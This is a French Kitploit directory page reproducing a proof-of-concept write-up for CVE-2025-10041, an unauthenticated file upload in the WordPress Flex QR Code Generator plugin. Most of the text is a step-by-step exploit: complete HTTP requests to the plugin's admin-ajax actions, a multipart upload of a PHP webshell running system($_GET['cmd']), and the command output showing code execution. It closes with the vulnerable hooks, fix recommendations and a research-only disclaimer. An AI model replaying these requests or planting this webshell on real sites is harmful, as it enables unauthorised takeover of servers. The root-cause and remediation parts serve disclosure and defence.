Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
WordPress-Flex-QR-Code-Generator---CVE-2025-10041 — Analyse technique et preuve de concept d'exploitation pour CVE-2025-10041, un téléversement de fichier arbitraire non authentifié menant à une exécution de code à distance dans le plugin WordPress Flex QR Code Generator. | Kitploit
Outils/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

Analyse technique et preuve de concept d'exploitation pour CVE-2025-10041, un téléversement de fichier arbitraire non authentifié menant à une exécution de code à distance dans le plugin WordPress Flex QR Code Generator.

Voir le dépôt
il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-10041 : Analyse de la vulnérabilité de téléchargement arbitraire de fichiers dans l'extension Flex QR Code Generator


1. Présentation de la vulnérabilité

  • Nom de l'extension : Flex QR Code Generator
  • Versions concernées : ≤ 1.2.5 (toutes les versions)
  • Type de vulnérabilité : Téléchargement arbitraire de fichiers → Exécution de code à distance (RCE)
  • Condition d'exploitation : Aucune connexion requise, accès non authentifié
  • Cause racine : La fonction de téléchargement de fichiers ne vérifie ni l'extension ni le type MIME, et l'interface peut être appelée par des utilisateurs non authentifiés.

2. Reproduction de la vulnérabilité

  • No1 Fuite d'informations + hook de mise à jour pour réaliser une RCE :

1. Aperçu de la chaîne d'attaque

root@kitploit:~
Obtention non authentifiée de l'ID → Appel de l'interface de mise à jour pour téléverser un fichier PHP → Accès au webshell → RCE

2. Étape 1 : Fuite d'informations pour obtenir l'ID

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

La réponse permet d'obtenir un id valide (par exemple 9) et le chemin logo_url.

root@kitploit:~
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. Étape 2 : Mise à jour et téléversement du WebShell

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ La réponse success: true indique que le téléversement a réussi.

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. Étape 3 : Accès au fichier de test

Format du chemin du fichier : {original_name}_{id}.php

root@kitploit:~
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

Le serveur renvoie le contenu du fichier

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • No2 Téléversement de fichiers non authentifié + réalisation d'une RCE :

1. Aperçu de la chaîne d'attaque

root@kitploit:~
Accès non authentifié à l'interface pour téléverser un fichier malveillant → Accès au webshell → RCE

2. Étape 1 : Téléversement du fichier malveillant via l'interface

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

La réponse permet d'obtenir un id valide (par exemple 10) et le résultat success

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. Étape 3 : Accès au WEBSHELL pour exécuter des commandes

root@kitploit:~
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ Le serveur renvoie le résultat de l'exécution de la commande, la RCE a réussi.

root@kitploit:~
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

3. Principe de la vulnérabilité

1. Fonctions vulnérables

  • Fichier : flex-qr-code-generator/qr-code-generator.php
  • Fonctions : save_qr_code_to_db() et update_qr_code()

2. Défauts critiques

  • Vérifie uniquement $_FILES['logo']['error'] === UPLOAD_ERR_OK
  • Aucune vérification de l'extension du fichier ou du type MIME
  • Nom de fichier contrôlable : {original_name}_{id}.ext, id étant la clé primaire auto-incrémentée

3. Appel non authentifié

Enregistré via les hooks wp_ajax_nopriv_, l'interface est accessible aux utilisateurs non connectés :

root@kitploit:~
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv signifie « aucune autorisation requise », l'attaquant peut donc l'appeler sans être connecté.


4. Recommandations de correctif

MesureDescription
✅ Contrôle des autorisationsSupprimer les hooks nopriv, autoriser uniquement les administrateurs
✅ Validation du type de fichierRestreindre les extensions via une liste blanche (ex. jpg/png/gif)
✅ Interdire l'exécution de PHPInterdire l'exécution de PHP dans uploads/.htaccess
✅ Renommage des fichiersUtiliser des noms de fichiers aléatoires pour éviter les devinettes
✅ Mise à jour de l'extensionSuivre les mises à jour officielles et mettre à jour rapidement

Avertissement

Ce document est uniquement destiné à la recherche en sécurité et à des fins pédagogiques. Toute tentative de test d'intrusion ou attaque non autorisée est interdite. L'utilisateur doit se conformer aux lois et réglementations en vigueur.

Télécharger l’outil